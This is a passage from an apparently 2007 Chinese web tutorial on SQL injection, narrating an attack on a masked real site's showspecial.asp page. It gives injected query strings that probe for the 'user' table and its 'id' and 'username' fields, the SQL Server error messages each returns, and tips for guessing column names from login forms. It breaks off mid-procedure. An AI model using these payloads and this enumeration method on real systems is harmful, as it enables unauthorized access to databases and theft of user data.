有孔就入 SQL Injection的深入探讨
2007-05-19 09:43:25 来源:WEB开发网核心提示: Microsoft OLE DB Provider for SQL Server 错误 80040e21多步 OLE DB 操作产生错误,如果可能,有孔就入 SQL Injection的深入探讨(2),请检查每个 OLE DB 状态值,没有工作被完成,作为注入的平台,得到我的用户名的id值
Microsoft OLE DB Provider for SQL Server 错误 80040e21
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。
/showspecial.asp,行13
想在他的数据库里增加一个管理员是不可能了,我们再换一种方法
2、提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(id) from [user])
这一句的意思是猜猜看是不是存在一个名为user的表和他里面有没有id这个字段。一般来说:如果不存在该表的话,会出现
Microsoft OLE DB Provider for SQL Server 错误 80040e37
对象名 user 无效。
/showspecial.asp,行13
不存在该字段的话,会出现
Microsoft OLE DB Provider for SQL Server 错误 80040e14
列名 id 无效。
/showspecial.asp,行13
注:一般来说,第一步是猜一些公共的表,这里所指的公共表的意思是大多数的程序员在写设计数据库结构的时候会用到的常用的表和字段,比如新闻的news表中的编号字段id,标题字段title,用户表user或者user_data中的编号字段id,用户名字段username,当然你也可以在该站点的登陆界面看他的原代码,找到用户名和密码的表单的name值,那个也经常会是表字段名的真实值,如很幸运,果然存在user表和id字段。
3、通过提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(username) from [user])
这里的username是根据登陆框的表单名去猜的,恰好存在该字段。于是在该站注册了一个用户名为rrrrr的用户,作为注入的平台,得到我的用户名的id值103534
4、继续猜下去,这里我还是利用的他程序中的表单名,提交:
- ››sql server自动生成批量执行SQL脚本的批处理
- ››sql server 2008亿万数据性能优化
- ››SQL Server 2008清空数据库日志方法
- ››sqlserver安装和简单的使用
- ››SQL Sever 2008 R2 数据库管理
- ››SQL SERVER无法安装成功,sqlstp.log文件提示[未发...
- ››Sql Server中通过父记录查找出所有关联的子记录
- ››SqlServer触发器、存储过程和函数
- ››SQL Server 中的事务(含义,属性,管理)
- ››Sqlite数据库插入和读取图片数据
- ››Sql server 2005拒绝了对对象 'xx表' (数...
- ››Sql server 2005拒绝了对对象 'xx表' (数...
更多精彩
赞助商链接